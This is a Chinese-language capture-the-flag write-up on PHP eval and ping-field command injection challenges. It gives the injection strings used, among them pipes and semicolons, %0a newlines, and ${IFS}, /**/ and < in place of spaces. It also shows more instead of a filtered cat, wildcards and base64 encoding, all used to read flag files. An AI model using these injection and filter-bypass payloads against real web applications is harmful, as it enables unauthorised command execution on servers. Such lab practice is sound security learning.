eval执行

?cmd=systemctl("ls");

?cmd=systemctl("ls /");

?cmd=systemctl("cat /flag_27523);

命令注入
输入ip试试发先可以执行
127.0.0.1

查看一下看看有社么
127.0.0.1 | ls

试着看看php文件
127.0.0.1 | cat 297581345892.php

貌似这个文件有东西
127.0.0.1 | cat index.php

应该是文件中包含特殊字符,使用管道运行base64加密内容
127.0.0.1 | cat *.php | base64

挨个解码一下结果第一个就是

过滤cat
试试127.0.0.1发现过滤了cat

ls发现flag.php
127.0.0.1 | ls
127.0.0.1 | ls

而cat被禁用了
- linux查看文本的命令
-
- cat 由第一行开始显示内容,并将所有内容输出
- tac 从最后一行倒序显示内容,并将所有内容输出
- more 根据窗口大小,一页一页的现实文件内容
- less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
- head 只显示头几行
- tail 只显示最后几行
- nl 类似于cat -n,显示时输出行号
- tailf 类似于tail -f
这里选择more试试
127.0.0.1 | more flag_1080915285305as97.php

】
猜测跟上一题一样
127.0.0.1 | more flag_1080915285305as97.php | be64

解码

过滤空格
输入127.0.0.1看看发现过滤空格

那我们将空格替换
这边我选择/**/替代
127.0.0.1/**/|/**/ ls

127.0.0.1/**/|/**/ cat/**/flag_62271467726390.php/**/|/**/base64
这边不成功我们换一个<

127.0.0.1|cat<flag_62271467726390.php|base64

解码

过滤目录分隔符

127.0.0.1 | ls

发现了flag.php因为过滤了/\不能使用ls/查看子目录使用cd
127.0.0.1;cd flag_is_here;ls

cat他
127.0.0.1;cd flag_is_here;cat flag_31823208020462.php|base64

解码

过滤运算符

看到过滤运算符我们这边用;代替|
127.0.0.1;ls

过滤了管道符|,不能再使用了
base64 falg.php".这个与127.0.0.1| cat falg.php | base64是等价的
127.0.0.1 ; base64 flag_15688173330737.php

解码

综合练习

发现过滤了一堆我们可以用的
空格可以用${IFS}
cat可以用more
flag可以用正则f***
查了一下,在linux下,命令分隔符除了;还有%0a
因为分割符为%0a所以要在url里输入,因为在框内会二次编码
?ip=127.0.0.1%0als

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_21697538524058.php

解码




















